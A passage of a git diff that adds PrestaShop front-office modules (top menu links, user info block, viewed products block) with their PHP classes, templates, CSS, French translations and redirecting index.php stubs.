sf.defaults = { + hoverClass : 'sfHover', + pathClass : 'overideThisToUse', + pathLevels : 1, + delay : 800, + animation : {opacity:'show'}, + speed : 'fast', + autoArrows : true, + dropShadows : true, + disableHI : false, // true disables hoverIntent detection + onInit : function(){}, // callback functions + onBeforeShow: function(){}, + onShow : function(){}, + onHide : function(){} + }; + $.fn.extend({ + hideSuperfishUl : function(){ + var o = sf.op, + not = (o.retainPath===true) ? o.$path : ''; + o.retainPath = false; + var $ul = $(['li.',o.hoverClass].join(''),this).add(this).not(not).removeClass(o.hoverClass) + .find('>ul').hide().css('visibility','hidden'); + o.onHide.call($ul); + return this; + }, + showSuperfishUl : function(){ + var o = sf.op, + sh = sf.c.shadowClass+'-off', + $ul = this.addClass(o.hoverClass) + .find('>ul:hidden').css('visibility','visible'); + sf.IE7fix.call($ul); + o.onBeforeShow.call($ul); + $ul.animate(o.animation,o.speed,function(){ sf.IE7fix.call($ul); o.onShow.call($ul); }); + return this; + } + }); + +})(jQuery); + +jQuery(function(){ + jQuery('ul.sf-menu').superfish(); +}); \ No newline at end of file diff --git a/modules/blocktopmenu/logo.gif b/modules/blocktopmenu/logo.gif new file mode 100755 index 0000000..5e0095b Binary files /dev/null and b/modules/blocktopmenu/logo.gif differ diff --git a/modules/blocktopmenu/logo.png b/modules/blocktopmenu/logo.png new file mode 100755 index 0000000..111e45a Binary files /dev/null and b/modules/blocktopmenu/logo.png differ diff --git a/modules/blocktopmenu/menutoplinks.class.php b/modules/blocktopmenu/menutoplinks.class.php new file mode 100755 index 0000000..8ebff9a --- /dev/null +++ b/modules/blocktopmenu/menutoplinks.class.php @@ -0,0 +1,136 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class MenuTopLinks +{ + public static function gets($id_lang, $id_linksmenutop = null, $id_shop) + { + $sql = 'SELECT l.id_linksmenutop, l.new_window, ll.link, ll.label + FROM '._DB_PREFIX_.'linksmenutop l + LEFT JOIN '._DB_PREFIX_.'linksmenutop_lang ll ON (l.id_linksmenutop = ll.id_linksmenutop AND ll.id_lang = '.(int)$id_lang.' AND ll.id_shop='.(int)$id_shop.') + WHERE 1 '.((!is_null($id_linksmenutop)) ? ' AND l.id_linksmenutop = "'.(int)$id_linksmenutop.'"' : '').' + AND l.id_shop IN (0, '.(int)$id_shop.')'; + + return Db::getInstance()->executeS($sql); + } + + public static function get($id_linksmenutop, $id_lang, $id_shop) + { + return self::gets($id_lang, $id_linksmenutop, $id_shop); + } + + public static function getLinkLang($id_linksmenutop, $id_shop) + { + $ret = Db::getInstance()->executeS(' + SELECT l.id_linksmenutop, l.new_window, ll.link, ll.label, ll.id_lang + FROM '._DB_PREFIX_.'linksmenutop l + LEFT JOIN '._DB_PREFIX_.'linksmenutop_lang ll ON (l.id_linksmenutop = ll.id_linksmenutop AND ll.id_shop='.(int)$id_shop.') + WHERE 1 + '.((!is_null($id_linksmenutop)) ? ' AND l.id_linksmenutop = "'.(int)$id_linksmenutop.'"' : '').' + AND l.id_shop IN (0, '.(int)$id_shop.') + '); + + $link = array(); + $label = array(); + $new_window = false; + + foreach ($ret as $line) + { + $link[$line['id_lang']] = Tools::safeOutput($line['link']); + $label[$line['id_lang']] = Tools::safeOutput($line['label']); + $new_window = (bool)$line['new_window']; + } + + return array('link' => $link, 'label' => $label, 'new_window' => $new_window); + } + + public static function add($link, $label, $newWindow = 0, $id_shop) + { + if(!is_array($label)) + return false; + if(!is_array($link)) + return false; + + Db::getInstance()->insert( + 'linksmenutop', + array( + 'new_window'=>(int)$newWindow, + 'id_shop' => (int)$id_shop + ) + ); + $id_linksmenutop = Db::getInstance()->Insert_ID(); + + foreach ($label as $id_lang=>$label) + Db::getInstance()->insert( + 'linksmenutop_lang', + array( + 'id_linksmenutop'=>(int)$id_linksmenutop, + 'id_lang'=>(int)$id_lang, + 'id_shop'=>(int)$id_shop, + 'label'=>pSQL($label), + 'link'=>pSQL($link[$id_lang]) + ) + ); + } + + public static function update($link, $labels, $newWindow = 0, $id_shop, $id_link) + { + if(!is_array($labels)) + return false; + if(!is_array($link)) + return false; + + Db::getInstance()->update( + 'linksmenutop', + array( + 'new_window'=>(int)$newWindow, + 'id_shop' => (int)$id_shop + ), + 'id_linksmenutop = '.(int)$id_link + ); + + foreach ($labels as $id_lang => $label) + Db::getInstance()->update( + 'linksmenutop_lang', + array( + 'id_shop'=>(int)$id_shop, + 'label'=>pSQL($label), + 'link'=>pSQL($link[$id_lang]) + ), + 'id_linksmenutop = '.(int)$id_link.' AND id_lang = '.(int)$id_lang + ); + } + + + public static function remove($id_linksmenutop, $id_shop) + { + Db::getInstance()->delete('linksmenutop', 'id_linksmenutop = '.(int)$id_linksmenutop.' AND id_shop = '.(int)$id_shop); + Db::getInstance()->delete('linksmenutop_lang', 'id_linksmenutop = '.(int)$id_linksmenutop); + } + +} + +?> diff --git a/modules/blocktopmenu/translations/en.php b/modules/blocktopmenu/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/blocktopmenu/translations/fr.php b/modules/blocktopmenu/translations/fr.php new file mode 100755 index 0000000..dcb154a --- /dev/null +++ b/modules/blocktopmenu/translations/fr.php @@ -0,0 +1,46 @@ +blocktopmenu_e5b7525b4214a759876af4448bd6b87d'] = 'Menu Haut horizontal'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_32932116548ebd718480646747b644a3'] = 'Ajouter un nouveau menu en haut de votre boutique.'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_efc226b17e0532afff43be870bff0de7'] = 'Paramètres mis à jour'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_5d1994bf28899a87795983875a98c2e1'] = 'Impossible de mettre à jour les paramètres'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_c9e57a753f1d6cb2258601432bb07477'] = 'Veuillez remplir le champs \"Lien\"'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_3679e307d4a14646c488a65381de82ea'] = 'Veuillez ajouter un label'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_e8d6809226ab177013e0a26bd2d8b60d'] = 'Veuillez ajouter un label pour le langage par défaut'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_3da9d5745155a430aac6d7de3b6de0c8'] = 'Le lien a été ajouté'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_15772d25000bce9fc3a2a2fd7d41a717'] = 'Le lien a été supprimé'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_d1156d9314813566c02aedc3852bdcab'] = 'le lien a été modifié'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_242e9577826290307cd3e45a259172cc'] = 'les modifications seront appliquées à'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_fb54f3c5992b96d001bb16e8e92d968d'] = 'boutique :'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_540c8f06b80b4ec911505764eb455f4d'] = 'toutes les boutiques'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_9dea4016dbcc290b773ab2fae678aaa8'] = 'Elements'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_c7da501f54544eba6787960200d9efdb'] = 'CMS'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_ec136b444eede3bc85639fac0dd06229'] = 'Fournisseurs'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_c0bd7654d5b278e65f21cf4e9153fdb4'] = 'Fabricants'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_af1b98adf7f686b84cd0b443e022b7a0'] = 'Catégories'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_12a521af593422cd508f7707662c9eb2'] = 'Boutiques'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_068f80c7519d0528fb08e82137a72131'] = 'Produits'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_778118c7dd993db08f704e15efa4a7fa'] = 'Choisissez un ID de produit'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_56e8bf6c54f1638e7bce5a2fcd5b20fe'] = 'Liens du menu'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_ec211f7c20af43e742bf2570c3cb84f9'] = 'Ajouter'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_1063e38cb53d94d386f21227fcd84717'] = 'Supprimer'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_fcd7ab4061bb3846392cc34376902165'] = 'ID du produit'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_97f08a40f22a625d0cbfe03db3349108'] = 'Produit ID'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_8cc149b77eaece54cee2e7e02f40018a'] = 'Barre de recherche'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_627a768dc2d54092c565c5b26c0eb8d8'] = 'Enregistrer'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_9f1b01ac44ff287d5b8ed20ec8ee180b'] = 'Ajouter un lien'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_b021df6aac4654c454f46c77646e745f'] = 'Label'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_97e7c9a7d06eac006a28bf05467fcc8b'] = 'Lien'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_4994a8ffeba4ac3140beb89e8d41f174'] = 'Langue'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_7a115fe2bd8b94ead1550a2da953cf87'] = 'Nouvelle fenêtre'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_a0894d8a58841c4c376594f06c5523f4'] = 'Ajouter'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_814579fdad9baf2cdcac456468265384'] = 'Liste des liens'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_4443702c8a13a65ac66d074b7a82af9a'] = 'ID Lien'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_004bf6c9a40003140292e97330236c53'] = 'Action'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{blocktopmenu}prestashop>blocktopmenu_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; diff --git a/modules/blocktopmenu/translations/index.php b/modules/blocktopmenu/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocktopmenu/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockuserinfo/blockuserinfo.css b/modules/blockuserinfo/blockuserinfo.css new file mode 100755 index 0000000..f44c050 --- /dev/null +++ b/modules/blockuserinfo/blockuserinfo.css @@ -0,0 +1,56 @@ +/* block top user information */ + +#header_right #header_user { + clear:both; + float: right; + margin-top:8px; +} + +#header_user #header_nav { + list-style-type:none; + float:right; +} + +/* cart */ +.lt-ie6 #shopping_cart {width: 130px;} +#shopping_cart a{ + height: 15px; + padding:15px 27px 10px 43px; + background: url('img/icon/cart.gif') no-repeat 10px 9px #eee; + min-width: 130px;/* 200 */ + -moz-border-radius: 3px; + -webkit-border-radius: 3px; + border-radius: 3px;display:block} +#shopping_cart a:hover span{text-decoration: none} +#header_user #shopping_cart .ajax_cart_quantity { font-weight:bold; font-size:18px } +#header_user #shopping_cart .ajax_cart_total { display:none !important; } + + +/* account */ +#header_user #your_account {display:none;} +#header_user #your_account a { background-image: url('img/icon/my-account.gif') } + +/* user infos */ +#header_user_info { + clear:both; + float:right; + margin-top:10px; + padding:0; + font-size:12px +} +#header_user_info a { + display:inline-block; + margin:0 0 0 10px; + padding:3px 0 0 34px; + line-height: 11px; + border-left:1px solid #000 +} +#header_user_info a.account { + border: none; + display: inline; + margin: 0; + padding: 0; +} +*:first-child+html #header_user_info a {line-height:14px;} +#header_user_info a.login {background: url('img/icon/login.gif') no-repeat 10px 0} +#header_user_info a.logout {background: url('img/icon/logout.png') no-repeat 10px -1px} diff --git a/modules/blockuserinfo/blockuserinfo.php b/modules/blockuserinfo/blockuserinfo.php new file mode 100755 index 0000000..6ac6968 --- /dev/null +++ b/modules/blockuserinfo/blockuserinfo.php @@ -0,0 +1,80 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockUserInfo extends Module +{ + public function __construct() + { + $this->name = 'blockuserinfo'; + $this->tab = 'front_office_features'; + $this->version = 0.1; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('User info block'); + $this->description = $this->l('Adds a block that displays information about the customer.'); + } + + public function install() + { + return (parent::install() AND $this->registerHook('top') AND $this->registerHook('header')); + } + + /** + * Returns module content for header + * + * @param array $params Parameters + * @return string Content + */ + public function hookTop($params) + { + if (!$this->active) + return; + + $this->smarty->assign(array( + 'cart' => $this->context->cart, + 'cart_qties' => $this->context->cart->nbProducts(), + 'logged' => $this->context->customer->isLogged(), + 'customerName' => ($this->context->customer->logged ? $this->context->customer->firstname.' '.$this->context->customer->lastname : false), + 'firstName' => ($this->context->customer->logged ? $this->context->customer->firstname : false), + 'lastName' => ($this->context->customer->logged ? $this->context->customer->lastname : false), + 'order_process' => Configuration::get('PS_ORDER_PROCESS_TYPE') ? 'order-opc' : 'order' + )); + return $this->display(__FILE__, 'blockuserinfo.tpl'); + } + + public function hookHeader($params) + { + $this->context->controller->addCSS(($this->_path).'blockuserinfo.css', 'all'); + } +} + + diff --git a/modules/blockuserinfo/blockuserinfo.tpl b/modules/blockuserinfo/blockuserinfo.tpl new file mode 100755 index 0000000..6da51f4 --- /dev/null +++ b/modules/blockuserinfo/blockuserinfo.tpl @@ -0,0 +1,62 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + diff --git a/modules/blockuserinfo/img/icon/cart.gif b/modules/blockuserinfo/img/icon/cart.gif new file mode 100755 index 0000000..d9b4976 Binary files /dev/null and b/modules/blockuserinfo/img/icon/cart.gif differ diff --git a/modules/blockuserinfo/img/icon/index.php b/modules/blockuserinfo/img/icon/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockuserinfo/img/icon/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockuserinfo/img/icon/login.gif b/modules/blockuserinfo/img/icon/login.gif new file mode 100755 index 0000000..5ded482 Binary files /dev/null and b/modules/blockuserinfo/img/icon/login.gif differ diff --git a/modules/blockuserinfo/img/icon/logout.png b/modules/blockuserinfo/img/icon/logout.png new file mode 100755 index 0000000..9141841 Binary files /dev/null and b/modules/blockuserinfo/img/icon/logout.png differ diff --git a/modules/blockuserinfo/img/icon/my-account.gif b/modules/blockuserinfo/img/icon/my-account.gif new file mode 100755 index 0000000..537bb59 Binary files /dev/null and b/modules/blockuserinfo/img/icon/my-account.gif differ diff --git a/modules/blockuserinfo/img/index.php b/modules/blockuserinfo/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockuserinfo/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockuserinfo/index.php b/modules/blockuserinfo/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockuserinfo/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockuserinfo/logo.gif b/modules/blockuserinfo/logo.gif new file mode 100755 index 0000000..d38b9c5 Binary files /dev/null and b/modules/blockuserinfo/logo.gif differ diff --git a/modules/blockuserinfo/logo.png b/modules/blockuserinfo/logo.png new file mode 100755 index 0000000..e27dfa5 Binary files /dev/null and b/modules/blockuserinfo/logo.png differ diff --git a/modules/blockuserinfo/translations/en.php b/modules/blockuserinfo/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/blockuserinfo/translations/fr.php b/modules/blockuserinfo/translations/fr.php new file mode 100755 index 0000000..0e0d995 --- /dev/null +++ b/modules/blockuserinfo/translations/fr.php @@ -0,0 +1,19 @@ +blockuserinfo_a2e9cd952cda8ba167e62b25a496c6c1'] = 'Bloc informations clients'; +$_MODULE['<{blockuserinfo}prestashop>blockuserinfo_970a31aa19d205f92ccfd1913ca04dc0'] = 'Ajoute un bloc avec des liens utiles pour le client (login, déconnexion...)'; +$_MODULE['<{blockuserinfo}prestashop>blockuserinfo_0c3bf3014aafb90201805e45b5e62881'] = 'Voir mon panier'; +$_MODULE['<{blockuserinfo}prestashop>blockuserinfo_a85eba4c6c699122b2bb1387ea4813ad'] = 'Panier :'; +$_MODULE['<{blockuserinfo}prestashop>blockuserinfo_deb10517653c255364175796ace3553f'] = 'produit'; +$_MODULE['<{blockuserinfo}prestashop>blockuserinfo_068f80c7519d0528fb08e82137a72131'] = 'produits'; +$_MODULE['<{blockuserinfo}prestashop>blockuserinfo_9e65b51e82f2a9b9f72ebe3e083582bb'] = '(vide)'; +$_MODULE['<{blockuserinfo}prestashop>blockuserinfo_2cbfb6731610056e1d0aaacde07096c1'] = 'Voir mon compte client'; +$_MODULE['<{blockuserinfo}prestashop>blockuserinfo_a0623b78a5f2cfe415d9dbbd4428ea40'] = 'Votre compte'; +$_MODULE['<{blockuserinfo}prestashop>blockuserinfo_83218ac34c1834c26781fe4bde918ee4'] = 'Bienvenue'; +$_MODULE['<{blockuserinfo}prestashop>blockuserinfo_4b877ba8588b19f1b278510bf2b57ebb'] = 'Me déconnecter'; +$_MODULE['<{blockuserinfo}prestashop>blockuserinfo_4394c8d8e63c470de62ced3ae85de5ae'] = 'déconnexion'; +$_MODULE['<{blockuserinfo}prestashop>blockuserinfo_b145abfd6b2f88971d725cbd94a5879f'] = 'Identifiez-vous'; +$_MODULE['<{blockuserinfo}prestashop>blockuserinfo_99dea78007133396a7b8ed70578ac6ae'] = 'Identifiez-vous'; diff --git a/modules/blockuserinfo/translations/index.php b/modules/blockuserinfo/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockuserinfo/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockviewed/blockviewed.css b/modules/blockviewed/blockviewed.css new file mode 100755 index 0000000..dad9cf1 --- /dev/null +++ b/modules/blockviewed/blockviewed.css @@ -0,0 +1,35 @@ +/* Block Viewed Products */ +#viewed-products_block_left .products li { + padding:10px 0; + border-bottom:1px dotted #ccc; +} +#viewed-products_block_left .products li.last_item { + padding-bottom:0; + border:none; +} + +#viewed-products_block_left .content_img { + float:left; +} +#viewed-products_block_left .text_desc { + float:left; + margin-left: 10px; + width: 130px; +} +#viewed-products_block_left li .text_desc .s_title_block, #viewed-products_block_left li .text_desc h5 { + padding:0 0 5px 0; + font-size:12px; + color:#333; + font-weight: bold; +} + +#viewed-products_block_left li .text_desc .s_title_block a, #viewed-products_block_left li .text_desc h5 a { + color:#333; +} +#viewed-products_block_left li .text_desc p, +#viewed-products_block_left li .text_desc p a { + padding-bottom:0; + line-height:14px; + color:#666 +} + diff --git a/modules/blockviewed/blockviewed.php b/modules/blockviewed/blockviewed.php new file mode 100755 index 0000000..0ea2403 --- /dev/null +++ b/modules/blockviewed/blockviewed.php @@ -0,0 +1,185 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockViewed extends Module +{ + private $_html = ''; + private $_postErrors = array(); + + public function __construct() + { + $this->name = 'blockviewed'; + $this->tab = 'front_office_features'; + $this->version = 0.9; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Viewed products block.'); + $this->description = $this->l('Adds a block displaying recently viewed products.'); + } + + public function install() + { + if (!parent::install() + || !$this->registerHook('leftColumn') + || !$this->registerHook('header') + || !Configuration::updateValue('PRODUCTS_VIEWED_NBR', 2)) + return false; + return true; + } + + public function getContent() + { + $output = '

        '.$this->displayName.'

        '; + if (Tools::isSubmit('submitBlockViewed')) + { + if (!($productNbr = Tools::getValue('productNbr')) || empty($productNbr)) + $output .= '
        '.$this->l('You must fill in the \'Products displayed\' field.').'
        '; + elseif ((int)($productNbr) == 0) + $output .= '
        '.$this->l('Invalid number.').'
        '; + else + { + Configuration::updateValue('PRODUCTS_VIEWED_NBR', (int)$productNbr); + $output .= '
        '.$this->l('Settings updated').'
        '; + } + } + return $output.$this->displayForm(); + } + + public function displayForm() + { + $output = ' +
        +
        '.$this->l('Settings').' + +
        + +

        '.$this->l('Define the number of products displayed in this block.').'

        +
        +
        +
        +
        '; + return $output; + } + + public function hookRightColumn($params) + { + $id_product = (int)Tools::getValue('id_product'); + $productsViewed = (isset($params['cookie']->viewed) && !empty($params['cookie']->viewed)) ? array_slice(explode(',', $params['cookie']->viewed), 0, Configuration::get('PRODUCTS_VIEWED_NBR')) : array(); + + if (count($productsViewed)) + { + $defaultCover = Language::getIsoById($params['cookie']->id_lang).'-default'; + + $productIds = implode(',', $productsViewed); + $productsImages = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT image_shop.id_image, p.id_product, il.legend, product_shop.active, pl.name, pl.description_short, pl.link_rewrite, cl.link_rewrite AS category_rewrite + FROM '._DB_PREFIX_.'product p + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN '._DB_PREFIX_.'product_lang pl ON (pl.id_product = p.id_product'.Shop::addSqlRestrictionOnLang('pl').') + LEFT JOIN '._DB_PREFIX_.'image i ON (i.id_product = p.id_product)'. + Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1').' + LEFT JOIN '._DB_PREFIX_.'image_lang il ON (il.id_image = i.id_image) + LEFT JOIN '._DB_PREFIX_.'category_lang cl ON (cl.id_category = product_shop.id_category_default'.Shop::addSqlRestrictionOnLang('cl').') + WHERE p.id_product IN ('.$productIds.') + AND pl.id_lang = '.(int)($params['cookie']->id_lang).' + AND cl.id_lang = '.(int)($params['cookie']->id_lang).' + GROUP BY product_shop.id_product' + ); + + $productsImagesArray = array(); + foreach ($productsImages as $pi) + $productsImagesArray[$pi['id_product']] = $pi; + + $productsViewedObj = array(); + foreach ($productsViewed as $productViewed) + { + $obj = (object)'Product'; + if (!isset($productsImagesArray[$productViewed]) || (!$obj->active = $productsImagesArray[$productViewed]['active'])) + continue; + else + { + $obj->id = (int)($productsImagesArray[$productViewed]['id_product']); + $obj->id_image = (int)$productsImagesArray[$productViewed]['id_image']; + $obj->cover = (int)($productsImagesArray[$productViewed]['id_product']).'-'.(int)($productsImagesArray[$productViewed]['id_image']); + $obj->legend = $productsImagesArray[$productViewed]['legend']; + $obj->name = $productsImagesArray[$productViewed]['name']; + $obj->description_short = $productsImagesArray[$productViewed]['description_short']; + $obj->link_rewrite = $productsImagesArray[$productViewed]['link_rewrite']; + $obj->category_rewrite = $productsImagesArray[$productViewed]['category_rewrite']; + // $obj is not a real product so it cannot be used as argument for getProductLink() + $obj->product_link = $this->context->link->getProductLink($obj->id, $obj->link_rewrite, $obj->category_rewrite); + + if (!isset($obj->cover) || !$productsImagesArray[$productViewed]['id_image']) + { + $obj->cover = $defaultCover; + $obj->legend = ''; + } + $productsViewedObj[] = $obj; + } + } + + if ($id_product && !in_array($id_product, $productsViewed)) + { + // Check if the user to the right of access to this product + $product = new Product((int)$id_product); + if ($product->checkAccess((int)$this->context->customer->id)) + array_unshift($productsViewed, $id_product); + } + $viewed = ''; + foreach ($productsViewed as $id_product_viewed) + $viewed .= (int)($id_product_viewed).','; + $params['cookie']->viewed = rtrim($viewed, ','); + + if (!count($productsViewedObj)) + return; + + $this->smarty->assign(array( + 'productsViewedObj' => $productsViewedObj, + 'mediumSize' => Image::getSize('medium'))); + + return $this->display(__FILE__, 'blockviewed.tpl'); + } + elseif ($id_product) + $params['cookie']->viewed = (int)($id_product); + return; + } + + public function hookLeftColumn($params) + { + return $this->hookRightColumn($params); + } + + public function hookHeader($params) + { + $this->context->controller->addCSS(($this->_path).'blockviewed.css', 'all'); + } +} diff --git a/modules/blockviewed/blockviewed.tpl b/modules/blockviewed/blockviewed.tpl new file mode 100755 index 0000000..6b01a39 --- /dev/null +++ b/modules/blockviewed/blockviewed.tpl @@ -0,0 +1,44 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {l s='Viewed products' mod='blockviewed'}

        +
        + +
        +
        diff --git a/modules/blockviewed/index.php b/modules/blockviewed/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockviewed/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockviewed/logo.gif b/modules/blockviewed/logo.gif new file mode 100755 index 0000000..d125817 Binary files /dev/null and b/modules/blockviewed/logo.gif differ diff --git a/modules/blockviewed/logo.png b/modules/blockviewed/logo.png new file mode 100755 index 0000000..d44f9ec Binary files /dev/null and b/modules/blockviewed/logo.png differ diff --git a/modules/blockviewed/translations/en.php b/modules/blockviewed/translations/en.php new file mode 100755 index 0000000..85893e3 --- /dev/null +++ b/modules/blockviewed/translations/en.php @@ -0,0 +1,7 @@ +blockviewed_2e57399079951d84b435700493b8a8c1'] = 'You must 